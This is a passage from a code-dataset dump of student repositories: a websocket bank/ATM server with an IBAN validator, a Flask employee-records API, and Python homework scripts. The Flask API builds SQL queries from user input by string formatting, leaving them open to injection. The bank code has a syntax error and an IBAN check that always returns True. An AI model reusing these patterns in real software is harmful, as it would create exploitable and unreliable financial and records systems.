9aeba675657dca78846d71763a1902a4c539d4bd
63acb2cdee556a893a8e96dfc17528dae32f90e2
refs/heads/master
2020-06-01T09:03:28.404815
2019-06-16T08:48:56
2019-06-16T08:48:56
190,724,780
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7712550759315491, "alphanum_fraction": 0.7773279547691345, "avg_line_length": 37, "blob_id": "c4e060502d2316072fe2cba7a19806b1987b8dff", "content_id": "83705008ad738503bb929fd5eec5078630fdc4ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 494, "license_type": "no_license", "max_line_length": 150, "num_lines": 13, "path": "/README.md", "repo_name": "gitshivanrbn/Server", "src_encoding": "UTF-8", "text": "# Server\n\n1.Copy the .Java files (JavaWebsocket, API and program in your project folder (found in the gitlab repository of the group)\n\n2.check if the server is running before running the java files.\n\n3. enjoy :^)\n\nAbout:\n\nThe server reads a json string as message and loads it via the json,loads command (meaning it translates the string into readable language for python)\n\nthe server will then lookup the information in it's database and returns true if it found a match or false if it didn't\n" }, { "alpha_fraction": 0.3634577691555023, "alphanum_fraction": 0.38026630878448486, "avg_line_length": 36.85950469970703, "blob_id": "704c087ddd4f70f56b908d3b41c40b53dca567b8", "content_id": "fbeff73de1e531aadb2483544e8bac2b9d11f222", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4581, "license_type": "no_license", "max_line_length": 55, "num_lines": 121, "path": "/IBANvalidator.py", "repo_name": "gitshivanrbn/Server", "src_encoding": "UTF-8", "text": "import websockets\nimport asyncio\nimport json\n\n\nIBAN = 'SU00PAVL963150'\ndecodedIBAN = \"\"\n\n\nclass IBANvalidator:\n def __init__(self):\n self = self\n\n def validateIBAN(self,IBAN):\n controlnumber = int(IBAN[2:4])\n print('control number is ',controlnumber)\n if (controlnumber < -99 or controlnumber > 98):\n print('control number invalid')\n return False\n else:\n IBAN = IBAN[4:14]+IBAN[0:4]\n print('moved IBAN is ',IBAN)\n decodedIBAN = ''\n print(IBAN[0:4])\n for c in IBAN:\n if (c == 'a' or c == 'A'):\n decodedIBAN += str('10') \n print('String contained A')\n elif (c == 'b' or c == 'B'):\n decodedIBAN += str('11')\n print('String contained B')\n elif (c == 'c' or c == 'C'):\n decodedIBAN += str('12')\n print('String contained C')\n elif (c == 'd' or c == 'D'):\n decodedIBAN += str('13')\n print('String contained D')\n elif (c == 'e' or c == 'E'):\n decodedIBAN += str('14')\n print('String contained E')\n elif (c == 'f' or c == 'F'):\n decodedIBAN += str('15')\n print('String contained F')\n elif (c == 'g' or c == 'G'):\n decodedIBAN += str('16')\n print('String contained G')\n elif (c == 'h' or c == 'H'):\n decodedIBAN += str('17')\n print('String contained H')\n elif (c == 'i' or c == 'I'):\n decodedIBAN += str('18')\n print('String contained I')\n elif (c == 'j' or c == 'J'):\n decodedIBAN += str('19')\n print('String contained J')\n elif (c == 'k' or c == 'K'):\n decodedIBAN += str('20')\n print('String contained K')\n elif (c == 'l' or c == 'L'):\n decodedIBAN += str('21')\n print('String contained L')\n elif (c == 'm' or c == 'M'):\n decodedIBAN += str('22')\n print('String contained M')\n elif (c == 'n' or c == 'N'):\n decodedIBAN += str('23')\n print('String contained N')\n elif (c == 'o' or c == 'O'):\n decodedIBAN += str('24')\n print('String contained O')\n elif (c == 'p' or c == 'P'):\n decodedIBAN += str('25')\n print('String contained P')\n elif (c == 'q' or c == 'Q'):\n decodedIBAN += str('26')\n print('String contained Q')\n elif (c == 'r' or c == 'R'):\n decodedIBAN += str('27')\n print('String contained R')\n elif (c == 's' or c == 'S'):\n decodedIBAN += str('28')\n print('String contained S') \n elif (c == 't' or c == 'T'):\n decodedIBAN += str('29')\n print('String contained T')\n elif (c == 'u' or c == 'U'):\n decodedIBAN += str('30')\n print('String contained U')\n elif (c == 'v' or c == 'V'):\n decodedIBAN += str('31')\n print('String contained V')\n elif (c == 'w' or c == 'W'):\n decodedIBAN += str('32')\n print('String contained W')\n elif (c == 'x' or c == 'X'):\n decodedIBAN += str('33')\n print('String contained X')\n elif (c == 'y' or c == 'Y'):\n decodedIBAN += str('34')\n print('String contained Y')\n elif (c == 'm' or c == 'Z'):\n decodedIBAN += str('35')\n print('String contained Z')\n elif ( c == ' '):\n print('space here')\n\n\n\n\n else:\n decodedIBAN += str(c)\n print('decoded IBAN = ',decodedIBAN)\n validatedIBAN = int(decodedIBAN) % 97\n #validatedIBAN = 98 - validatedIBAN\n print(validatedIBAN)\n return True\n\n\na = IBANvalidator()\ncheck = a.validateIBAN(IBAN)\nprint(check)\n" }, { "alpha_fraction": 0.5762194991111755, "alphanum_fraction": 0.5778824687004089, "avg_line_length": 40.47126388549805, "blob_id": "f158781f324189387e847135bd5db85c08e774ed", "content_id": "c5e5b72f2cc69eb2c547bf08df48965be1689ad3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3608, "license_type": "no_license", "max_line_length": 150, "num_lines": 87, "path": "/ServerLibrary.py", "repo_name": "gitshivanrbn/Server", "src_encoding": "UTF-8", "text": "import json\nimport asyncio \nimport MySQLdb\n\nclass ServerLibrary:\n\n def __init__(self):\n print(self)\n\n @staticmethod\n def checkcard(jsonmessage):\n cnxID = MySQLdb.connect(user='nope',password='nope',host='localhost',database='nope')\n cursorID = cnxID.cursor()\n receivedID = jsonmessage['IBAN']\n rowcountID = cursorID.execute(\"SELECT Pasje_ID FROM Pasjes WHERE Pasje_ID =%s\",(receivedID,))\n cnxID.close()\n if (rowcountID > 0):\n response = {'response' : True}\n return json.dumps(response)\n\n else:\n print('couldnt find card')\n response = {'response': False}\n return json.dumps(response)\n\n @staticmethod\n def checkPIN(jsonmessage):\n #CHECKEN VOOR DE PIN\n cnxpin = MySQLdb.connect(user='nope',password='nope',host='localhost',database='nope')\n cursorpin = cnxpin.cursor()\n receivedpin = jsonmessage['PIN']\n receivedID = jsonmessage['IBAN']\n rowcount = cursorpin.execute(\"SELECT PIN FROM Pasjes WHERE PIN = %s AND Pasje_ID = %s\",(receivedpin,receivedID,))\n cnxpin.close\n if (rowcount > 0):\n response = {'response' : True}\n return json.dumps(response)\n else:\n print('couldnt find PIN')\n response = {'response' : False}\n return json.dumps(response)\n\n @staticmethod\n def getbalance(jsonmessage):\n #Get balance\n cnxbalance = MySQLdb.connect(user='nope',password='nope',host='localhost',database='nope')\n cursorbalance = cnxbalance.cursor()\n balancepin = jsonmessage['PIN']\n balanceID = jsonmessage['IBAN']\n rowcount = cursorbalance.execute(\"SELECT Saldo FROM Pasjes WHERE PIN = %s AND Pasje_ID = %s\",(balancepin,balanceID))\n cnxbalance.close\n if (rowcount > 0):\n rowbalance = cursorbalance.fetchone()\n print(rowbalance)\n responsebalance = {'response': rowbalance[0]}\n return json.dumps(responsebalance)\n else:\n print('Error, data could not be found')\n response = {'response' : False}\n return json.dumps(response)\n\n @staticmethod\n def withdraw(jsonmessage):\n try:\n cnxwithdraw = MySQLdb.connect(user='nope',password='nope',host='localhost',database='nope')\n cursorwithdraw = cnxwithdraw.cursor()\n withdraw = jsonmessage['Amount']\n withdrawpin = jsonmessage['PIN']\n withdrawID = jsonmessage['IBAN']\n rowcountwithdraw= cursorwithdraw.execute(\"SELECT Saldo FROM Pasjes WHERE PIN = %s AND Pasje_ID = %s\",(withdrawpin,withdrawID,))\n if (rowcountwithdraw > 0):\n selected_amount = cursorwithdraw.fetchone()[0]\n if (int(selected_amount) > int(withdraw)):\n cursorwithdraw.execute(\"UPDATE Pasjes SET Saldo = Saldo - %s WHERE PIN = %s AND Pasje_ID = %s\",(withdraw,withdrawpin,withdrawID,))\n cnxwithdraw.commit()\n print('withdrew',withdraw)\n cnxwithdraw.close\n response = {'response': True}\n return json.dumps(response)\n else:\n cnxwithdraw.close\n response = {'response': False}\n return json.dumps(response)\n except:\n print('error or couldnt find selected statement or amount is too low')\n response = { 'response' : False}\n return response\n" }, { "alpha_fraction": 0.5214744210243225, "alphanum_fraction": 0.5272371172904968, "avg_line_length": 39.68141555786133, "blob_id": "58177f22523608dbbdbe5162f50c3a99ec18bdaf", "content_id": "a0029c3e688ea9bc8e9d24a9f8735956ce763d9e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9197, "license_type": "no_license", "max_line_length": 97, "num_lines": 226, "path": "/ServerAPI.py", "repo_name": "gitshivanrbn/Server", "src_encoding": "UTF-8", "text": "import asyncio\nimport websockets\nimport MySQLdb\nimport json\nimport signal\nfrom threading import Thread\nimport time\nfrom ServerLibrary import ServerLibrary\n\napi = ServerLibrary()\ncentralbankaddress = 'ws://145.137.90.185:6666'\nbankID = 'SUPAVL'\nstoredcommands = []\nreceivedanswers = []\n\nasync def run(websocket,path):\n try:\n incoming_message = await websocket.recv()\n try:\n print('received a message:',incoming_message)\n print(len(incoming_message))\n json_message = json.loads(incoming_message)\n json_message['Amount'] = int(json_message['Amount'])\n print(json_message['Amount'])\n json_message['IDRecBank'] = json_message['IBAN'][0:2] +json_message['IBAN'][4:8]\n print(json_message['IBAN'])\n json_message['IDSenBank'] = bankID\n\n #de kaart checken\n if (json_message['Func'] == 'checkcard'):\n if (len(json_message['IBAN']) == 14):\n print(json_message['IBAN'])\n API_response = json.loads(api.checkcard(json_message))\n if(API_response['response'] == True):\n print(API_response)\n await websocket.send(json.dumps(API_response))\n else:\n print('Consumer function is being called')\n storecommand(json.dumps(json_message))\n await asyncio.sleep(0.06)\n if(len(receivedanswers) != 0):\n answer = getreceivedanswer()\n print(answer)\n await websocket.send(json.dumps({'response': answer}))\n else:\n print('IBAN length is invalid!')\n response = {'response' : 'IBAN is invalid'}\n await websocket.send(json.dumps(response))\n\n #de PIN checken.\n elif(json_message['Func'] == 'pinCheck'):\n API_response = json.loads(api.checkPIN(json_message))\n if(API_response['response'] == True):\n print(API_response)\n await websocket.send(json.dumps(API_response))\n else:\n print('consumer function is being called')\n storecommand(json.dumps(json_message))\n await asyncio.sleep(0.06)\n if(len(receivedanswers) != 0):\n answer = getreceivedanswer()\n print(answer)\n await websocket.send(json.dumps({'response': answer}))\n\n #GET BELANCE!!!!!!!!!!!!! \n elif(json_message['Func'] == 'getbalance'):\n API_response = json.loads(api.getbalance(json_message))\n print(API_response)\n if(API_response['response'] != False):\n await websocket.send(json.dumps(API_response))\n else:\n print('consumer function is being called')\n storecommand(json.dumps(json_message))\n await asyncio.sleep(0.06)\n if(len(receivedanswers) != 0):\n answer = getreceivedanswer()\n print(answer)\n await websocket.send(json.dumps({'response': answer}))\n\n\n #WITHDRAW!!!!!!!!!!!!!\n elif(json_message['Func'] == 'withdraw'):\n API_response = json.loads(api.withdraw(json_message))\n print('test')\n if(API_response['response'] == True):\n await websocket.send(json.dumps(API_response))\n else:\n print('consumer function is being called')\n storecommand(json.dumps(json_message))\n await asyncio.sleep(0.05)\n if(len(receivedanswers) != 0):\n answer = getreceivedanswer()\n print(answer)\n await websocket.send(json.dumps({'response': answer}))\n \n else:\n print('command not found')\n response = {'response' : False}\n await websocket.send(json.dumps(response))\n\n #excepties van de json opvangen...\n except:\n print('error loading json, maybe its a wrong format?')\n response = {'response': 'false'}\n await websocket.send(json.dumps(response))\n except:\n print('something went wrong')\n\n\n#AF!\n#de master-thread die registreert en in een while True loop staat\nasync def register_master():\n try:\n async with websockets.connect(centralbankaddress) as ws_master:\n print('sending master request...')\n master = ['register','master',bankID]\n await ws_master.send(json.dumps(master))\n masterresponse = await ws_master.recv()\n if (masterresponse == 'true'):\n print('confirmed master registration') \n while(True):\n await asyncio.sleep(0.01)\n if(len(storedcommands) != 0):\n command = getcommand()\n print('command')\n print(command)\n print(len(str(command)))\n await ws_master.send(command)\n master_answer = await ws_master.recv()\n print('master received an answer')\n storereceivedanswer(master_answer)\n\n \n\n except ValueError:\n print('error connecting to central bank as master')\n\n\n#AF!\n#de slave-thread die in een while true loop staat\nasync def register_slave():\n try:\n async with websockets.connect(centralbankaddress) as ws_slave:\n print('sending slave request....')\n slave = ['register','slave',bankID]\n await ws_slave.send(json.dumps(slave))\n slaveresponse = await ws_slave.recv()\n if (slaveresponse == 'true'):\n print('confirmed slave registration')\n while(True):\n slave_message = await ws_slave.recv()\n print('received a slave message')\n print('slave_message is:', slave_message)\n slave_json = slave_message[2:len(slave_message) - 2]\n slave_json = slave_json.replace(\"'\",'\"')\n slave_json = json.loads(slave_json)\n slave_json['IDRecBank'] = slave_json['IDRecBank'].lower()\n if(slave_json['IDRecBank'] == 'supavl' || slave_json['IDRecBank'] == 'pavl'):\n print('receiving slave message.')\n if(slave_json['Func'] == 'checkcard'):\n print('checking card remotely')\n response = json.loads(api.checkcard(slave_json))\n await ws_slave.send(json.dumps(response['response']))\n elif(slave_json['Func'] == 'pinCheck'):\n print('checking pin remotely...')\n response = json.loads(api.checkPIN(slave_json))\n await ws_slave.send(json.dumps(response['response']))\n\n elif(slave_json['Func'] == 'withdraw'):\n print('withdrawing remotely')\n response = json.loads(api.withdraw(slave_json))\n print(response)\n await ws_slave.send(json.dumps(response['response']))\n else:\n print('bank code not identified')\n await ws_slave.send(json.dumps('False'))\n else:\n response = False\n await ws_slave.send(json.dumps(response))\n\n except:\n print('error in slave_connection')\n\n\n\n#producer functie tussen de server-master connectie\n\n#functie om de berichten op te slaan\ndef storecommand(json_message):\n storedcommands.append(json_message)\n\ndef storereceivedanswer(receivedanswer):\n receivedanswers.append(receivedanswer)\n\n\n#functie om berichten op te halen\ndef getcommand():\n command = json.loads(storedcommands.pop())\n buildedstring = '[\"'\n buildedstring += (command['IDRecBank'])\n buildedstring += '\" , '\n buildedstring += '\"'\n buildedstring += str(command)\n\n buildedstring += '\"]'\n return buildedstring\n\ndef getreceivedanswer():\n receivedanswer = receivedanswers.pop()\n return receivedanswer\n\n#start de server\nprint('Starting server')\nstart_server = websockets.serve(run,'145.24.222.179',8888)\n#voert de taken uit.\nprint('client running...')\nprint('Setting up on-screen log')\nprint('On-screen log OK-to-go')\nasyncio.get_event_loop().run_until_complete(start_server)\n#master-slave registration\nasyncio.run_coroutine_threadsafe(register_slave(),asyncio.get_event_loop())\nasyncio.get_event_loop().run_until_complete(register_master())\n\n#eindigt nooit met runnen\nprint('running forever....')\nasyncio.get_event_loop().run_forever()\n\n\n\n" } ]
4
Meghashri/EmployeeManagement
https://github.com/Meghashri/EmployeeManagement
d38fadd85e39c75b70acf10e4d74fb7b2059ede3
eda66c166b5ed42437233e41a5b9bb3d326720d2
6a126e466da83c4f48fceec9ad1626f70567170f
refs/heads/master
2022-12-11T18:07:12.958556
2019-06-13T05:51:22
2019-06-13T05:51:22
191,697,228
0
0
null
2019-06-13T05:36:24
2019-06-13T05:51:25
2022-12-08T05:15:02
Python
[ { "alpha_fraction": 0.4727272689342499, "alphanum_fraction": 0.6969696879386902, "avg_line_length": 15.5, "blob_id": "9e3e5b9acb854d3cb5ce2b3a351f07180839a8d2", "content_id": "34a08c19c817c25305c74492cbac08639cd43749", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 330, "license_type": "no_license", "max_line_length": 23, "num_lines": 20, "path": "/requirements.txt", "repo_name": "Meghashri/EmployeeManagement", "src_encoding": "UTF-8", "text": "aniso8601==6.0.0\ncertifi==2019.3.9\nchardet==3.0.4\nClick==7.0\nFlask==0.12.2\nFlask-Jsonpify==1.5.0\nflask-paginate==0.5.2\nFlask-RESTful==0.3.6\nFlask-SQLAlchemy==2.3.2\nidna==2.6\nitsdangerous==1.1.0\nJinja2==2.10.1\nlxml==4.3.4\nMarkupSafe==1.1.1\npytz==2019.1\nrequests==2.18.4\nsix==1.12.0\nSQLAlchemy==1.2.2\nurllib3==1.22\nWerkzeug==0.15.4\n" }, { "alpha_fraction": 0.5690568089485168, "alphanum_fraction": 0.5783597826957703, "avg_line_length": 35.19171142578125, "blob_id": "821cab49debee5c6c939fe5fa07566d855091c6a", "content_id": "f987583161bee8e5c454ab8a0506be3c7b4e5e94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6987, "license_type": "no_license", "max_line_length": 138, "num_lines": 193, "path": "/server.py", "repo_name": "Meghashri/EmployeeManagement", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\nfrom flask import Flask, request, jsonify, render_template, make_response\nfrom flask_restful import Resource, Api\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import create_engine\n\n# APP creation and configuration ---\napp = Flask(__name__)\napi = Api(app)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///emp.db'\ndb = SQLAlchemy(app)\n#-------------------------\n\n\n#-----------Model.py : contains DB table description (schema)----\nclass WorkCountry(db.Model):\n region = db.Column(db.String(80), primary_key=True)\n\n def __init__(self, country):\n self.region = country\n\n\nclass LineOfService(db.Model):\n los = db.Column(db.String(80), primary_key=True)\n\n def __init__(self, los):\n self.los = los\n\n\nclass Employee1(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n first_name = db.Column(db.String(80), nullable=False)\n last_name = db.Column(db.String(80), nullable=False)\n country = db.Column(db.String(80), db.ForeignKey('work_country.region'))\n line_of_service = db.Column(db.String(80), db.ForeignKey('line_of_service.los'))\n\n def __init__(self, id, firstname, lastname, country, los):\n self.id = id\n self.first_name = firstname\n self.last_name = lastname\n self.country = country\n self.line_of_service = los\n\ndb.create_all()\n#-------------------------------------------------------------\n\n\n#----------app.py : contains api definition-------------\ndb_connect = create_engine('sqlite:///emp.db')\n\n\ndef get_paginated_list(results, url, start, limit):\n start = int(start)\n limit = int(limit)\n count = len(results)\n if count < start or limit < 0:\n abort(404)\n # make response\n obj = {}\n obj['start'] = start\n obj['limit'] = limit\n obj['count'] = count\n # make URLs\n # make previous url\n if start == 1:\n obj['previous'] = ''\n else:\n start_copy = max(1, start - limit)\n limit_copy = start - 1\n obj['previous'] = url + '?start=%d&limit=%d' % (start_copy, limit_copy)\n # make next url\n if start + limit > count:\n obj['next'] = ''\n else:\n start_copy = start + limit\n obj['next'] = url + '?start=%d&limit=%d' % (start_copy, limit)\n # finally extract result according to bounds\n obj['results'] = results[(start - 1):(start - 1 + limit)]\n return obj\n\n\nclass Employees(Resource):\n def get(self):\n conn = db_connect.connect() # connect to database\n query = conn.execute(\"select * from employee1\") # This line performs query and returns json result\n result = [dict(zip(tuple(query.keys()), i)) for i in query.cursor]\n\n return jsonify(get_paginated_list(\n result,\n '/employees',\n start=request.args.get('start', 1),\n limit=request.args.get('limit', 2)\n ))\n\n def post(self):\n conn = db_connect.connect()\n\n #print(request.json)\n emp_id = request.json['id']\n emp_LastName = request.json['last_name']\n emp_FirstName = request.json['first_name']\n emp_Country = request.json['country']\n emp_Los = request.json['line_of_service']\n try:\n conn.execute(\"PRAGMA foreign_keys=ON;\")\n query = conn.execute(\"insert into employee1(id,first_name,last_name,country,line_of_service) values('{0}','{1}','{2}','{3}', \\\n '{4}')\".format(emp_id, emp_FirstName, emp_LastName, emp_Country, emp_Los))\n\n except:\n print(\"Database Error\")\n return make_response(jsonify({\"Database Error\": \"Couldn't create record\"}),500)\n\n return {'status': 'success'}\n\n\nclass Employees_Id(Resource):\n def get(self, employee_id):\n conn = db_connect.connect()\n query = conn.execute(\"select * from employee1 where id =%d \" % int(employee_id))\n result = {'data': [dict(zip(tuple(query.keys()), i)) for i in query.cursor]}\n if (len(result['data']) == 0):\n return not_found(\"Employee\")\n else:\n return jsonify(result)\n\nclass Territory_search(Resource):\n def get(self, territory_name):\n conn = db_connect.connect()\n query = conn.execute(\"select * from employee1 where country = %s\" % '\"'+str(territory_name)+'\"')\n result = [dict(zip(tuple(query.keys()), i)) for i in query.cursor]\n if (len(result) == 0):\n return not_found(\"No Pwc Employees found in this territory=%s\" % str(territory_name))\n else:\n return jsonify(get_paginated_list(\n result,\n '/territory_employees/'+(territory_name),\n start=request.args.get('start', 1),\n limit=request.args.get('limit', 2)\n ))\n\nclass Lineofservice_search(Resource):\n def get(self, line_of_service):\n conn = db_connect.connect()\n query = conn.execute(\"select * from employee1 where line_of_service = %s\" % '\"'+str(line_of_service)+'\"')\n result = [dict(zip(tuple(query.keys()), i)) for i in query.cursor]\n print(len(result))\n if len(result) == 0:\n return not_found(\"No Pwc Employees found in this line-of-service=%s\" % str(line_of_service))\n else:\n return jsonify(get_paginated_list(\n result,\n '/lineofservice_employees/' + (line_of_service),\n start=request.args.get('start', 1),\n limit=request.args.get('limit', 2)\n ))\n\nclass EmployeeLastname_search(Resource):\n def get(self, employee_lastname):\n conn = db_connect.connect()\n query = conn.execute(\"select * from employee1 where last_name = %s\" % '\"'+str(employee_lastname)+'\"')\n result = [dict(zip(tuple(query.keys()), i)) for i in query.cursor]\n if (len(result) == 0):\n return not_found(\"No Employee found with lastname=%s\" % (employee_lastname))\n else:\n return jsonify(get_paginated_list(\n result,\n '/employeelastname_search/' + (employee_lastname),\n start=request.args.get('start', 1),\n limit=request.args.get('limit', 2)\n ))\n#------------------------------------------------------------\n\n\n#-----------------Routes.py : contains routes to every API-----------------\napi.add_resource(Employees, '/employees')# Route_1\napi.add_resource(Employees_Id, '/employees_search/<employee_id>')# Route_3\napi.add_resource(Territory_search, '/territory_employees/<territory_name>')\napi.add_resource(Lineofservice_search, '/lineofservice_employees/<line_of_service>')\napi.add_resource(EmployeeLastname_search, '/employeelastname_search/<employee_lastname>')\n#-------------------------------------------------------------------\n\[email protected]('/')\ndef welcome():\n return render_template('index.html')\n\n\[email protected](404)\ndef not_found(error):\n return make_response(jsonify({error: 'Not found'}), 404)\n\nif __name__ == '__main__':\n app.run(debug=True, port=8081, host='0.0.0.0')\n\n\n" } ]
2
sarelalush/Python
https://github.com/sarelalush/Python
9fdda66d6e54c5a850ff0121d0823a3d406c0f61
6abbb478a90be0dcc83c66e9ee02fc6a5c1b4e30
940f2e39cb2963a0a5098564afb664c6399d3110
refs/heads/main
2023-05-15T21:32:16.010306
2021-05-25T18:45:52
2021-05-25T18:45:52
319,894,469
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5755172371864319, "alphanum_fraction": 0.5865517258644104, "avg_line_length": 37.202701568603516, "blob_id": "fc22ffb672ee78e61c502c7f984df3beed29bc19", "content_id": "85408c8067bd2e81fdd6775d647e66cc556bd4c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2900, "license_type": "no_license", "max_line_length": 122, "num_lines": 74, "path": "/Introduction to programing/HW4/grades/grades.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 1\r\nProgram: grades.py\r\n\"\"\"\r\r\n\r\n#read all students from file\r\ndef read_students_from_file():\r\n dic_students = {}\r\n f = open(\"students.txt\",\"r\")\r\n for line in f.readlines():#read lines\r\n dic_students[line.split()[0]] = \" \".join(line.split()[1:]) #enter line to dict\r\n return dic_students\r\n\r\n#read all grades from file\r\ndef read_grades_from_file():\r\n dic_grades = {}\r\n f = open(\"grades.txt\",\"r\")\r\n for line in f.readlines():#read lines\r\n dic_grades[line.split()[0]] = [int(g) for g in line.split()[1:]]#enter line to dict\r\n return dic_grades\r\n\r\n#check for best grade and print\r\ndef print_best_grade(students,grades):\r\n average_of_best_grades = 0\r\n id_of_best_student = 0 \r\n curr_grade = 0\r\n for k,v in grades.items():#run all grades and keys(id)\r\n curr_grade = 0\r\n for grade in v:#run grade of curr students\r\n curr_grade += grade #sum of grade\r\n if curr_grade/len(v)>average_of_best_grades: #check if this the best average in this loop\r\n average_of_best_grades = curr_grade/len(v)\r\n id_of_best_student = k\r\n print(\"name of student is {0} and the average is : {1}\".format(students[id_of_best_student],average_of_best_grades))\r\n \r\n#return dict with all grades and how much time does each one have\r\ndef create_dict_sum_of_grade(grades):\r\n dict_sum_grades = {}\r\n for k,v in grades.items():#run all grades and keys\r\n for grade in v: #run grade of curr students\r\n if grade in dict_sum_grades: #if grade exist in dict\r\n dict_sum_grades[grade]+=1\r\n else:\r\n dict_sum_grades[grade]=1\r\n return dict_sum_grades\r\n\r\n#check for most grade and print\r\ndef print_most_grade(grades):\r\n most_grade_val = 0\r\n dict_sum_grades = {}\r\n dict_sum_grades = create_dict_sum_of_grade(grades)\r\n for k,v in dict_sum_grades.items():#run all dict and check where have the big value\r\n if v > most_grade_val:\r\n most_grade_val = v\r\n most_grade_key = k\r\n print(\"the most grade is : {0}\".format(most_grade_key))#print the most grade\r\n \r\n#print all the grade not in list(dict..)\r\ndef print_no_grade(grades):\r\n dic_all_grades = create_dict_sum_of_grade(grades)\r\n print(\"All grades that are not in the grades list are:\")\r\n for i in range(0,101):\r\n if i not in dic_all_grades.keys():#check if the grade between 0-100 in dic\r\n print(i,end=\" \")#if not print number\r\ndef main():\r\n dic_students = read_students_from_file()\r\n dic_grades = read_grades_from_file()\r\n print_best_grade(dic_students,dic_grades)\r\n print_most_grade(dic_grades)\r\n print_no_grade(dic_grades)\r\nmain()\r\n" }, { "alpha_fraction": 0.49921876192092896, "alphanum_fraction": 0.538281261920929, "avg_line_length": 25.23404312133789, "blob_id": "d9bac1af4d7ef496616e1500a5e7273f68828657", "content_id": "9489af2e80c632574ee609e729c10f2ebf5307f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1280, "license_type": "no_license", "max_line_length": 107, "num_lines": 47, "path": "/Introduction to programing/HW5/1.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 1\r\nProgram: 1.py\r\n\"\"\"\r\n\r\n#string reverse\r\ndef reverse(s):\r\n if len(s)==0: #if list is null return\r\n return\r\n reverse(s[1:])\r\n print(s[0],end=\"\")\r\n\r\n#appeard func\r\ndef number_appeard(s,ch):\r\n num = 0\r\n if len(s)==0: #if list is null return\r\n return 0\r\n if s[0]==ch: #if found num++\r\n num = 1\r\n return num + number_appeard(s[1:],ch)#return num + others..\r\n\r\n#check for same string\r\ndef same_string(s1,s2):\r\n if len(s1)==0 or len(s2)==0:#if equal in last check\r\n return True\r\n if len(s1) > len(s2) or len(s1) < len(s2) or s1[0] != s2[0]: #if len of string s1 big than s2 or else\r\n return False\r\n return same_string(s1[1:],s2[1:]) #check next locat\r\n\r\n\r\ndef main():\r\n s1 = input(\"please enter string to reverse :\")\r\n reverse(s1)\r\n print()\r\n s2 = input(\"please enter string to check char appeard:\")\r\n c = input(\"please enter char to check char appeard::\")\r\n print(number_appeard(s1,c))\r\n s1 = input(\"please enter string1 :\")\r\n s2 = input(\"please enter string 2 :\")\r\n if(same_string(s1,s2)):\r\n print(\"equals\")\r\n else:\r\n print(\"not equals\")\r\n \r\nmain()\r\n" }, { "alpha_fraction": 0.5087956786155701, "alphanum_fraction": 0.5358592867851257, "avg_line_length": 26.423076629638672, "blob_id": "4d12daf0f2a7d5c0236c7360bef1db118afe38a9", "content_id": "d1011944fb0842e7c975845be92329e5bf8d5411", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 739, "license_type": "no_license", "max_line_length": 87, "num_lines": 26, "path": "/Introduction to programing/HW2/decSeries.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 2\r\nProgram: decSeries.py\r\n\"\"\"\r\n\r\nN = 10\r\n\r\ndef main():\r\n number = 0\r\n cnt = 1\r\n bigSeries = 0\r\n lastNumber = 0\r\n for i in range(0,N):\r\n number = int(input(\"Enter Number : \"))\r\n if(number < lastNumber and i != 0): #check if number small than last number\r\n cnt+=1 #inc counter\r\n elif (number > lastNumber): #check if number big than last number\r\n cnt = 1 #Reset counter\r\n if(cnt > bigSeries): #check if counter bigger than bigseries\r\n bigSeries = cnt #Now we have found a new series\r\n\r\n lastNumber = number\r\n print(\"bigSeries is : \",bigSeries)\r\nmain()\r\n" }, { "alpha_fraction": 0.6140939593315125, "alphanum_fraction": 0.6246404647827148, "avg_line_length": 29.606060028076172, "blob_id": "3cff5b62f880a1d3ebff07cd94fd1ee736149db0", "content_id": "a1f2a21970ab9a096d1e14a1a48ae4f490c554af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2086, "license_type": "no_license", "max_line_length": 126, "num_lines": 66, "path": "/Introduction to programing/HW3/stats.py", "repo_name": "sarelalush/Python", "src_encoding": "UTF-8", "text": "\"\"\"\r\nStudent: Sarel Alush\r\nID: 316373851\r\nAssignment no. 1\r\nProgram: stats.py\r\n\"\"\"\r\n\r\n#get string and return list\r\ndef string_to_list(numbers):\r\n return numbers.split()\r\n\r\n#return the average of all numbers in list\r\ndef average(numbers):\r\n sum_numbers = 0\r\n cnt=0\r\n for num in numbers:\r\n sum_numbers = sum_numbers + int(num) #sum of all numbers\r\n cnt = cnt + 1\r\n return sum_numbers / cnt #sum / The number of numbers\r\n\r\n#return the big number in list\r\ndef large_number(numbers):\r\n return max(numbers)\r\n\r\n#return the position of big number in list\r\ndef pos_large_number(numbers):\r\n return numbers.index(max(numbers))\r\n\t \r\n#return the small number in list \r\ndef pos_small_number(numbers):\r\n return numbers.index(min(numbers))\r\n\t \r\n#return the position of small number in list \r\ndef small_number(numbers):\r\n return min(numbers)\r\n\r\n#check if the series is rising\r\ndef check_rising_series(numbers):\r\n for i in range(len(numbers)-1):\r\n if numbers[i] > numbers[i+1]:\r\n return False\r\n return True\r\n\r\n#check if the series is go down\r\ndef check_down_series(numbers):\r\n for i in range(len(numbers)-1):\r\n if numbers[i] < numbers[i+1]:\r\n return False\r\n return True\r\n\r\n#print the type of series (we have 3 states)\r\ndef check_type_of_series(numbers):\r\n if check_rising_series(numbers):\r\n return \"Rising\"\r\n 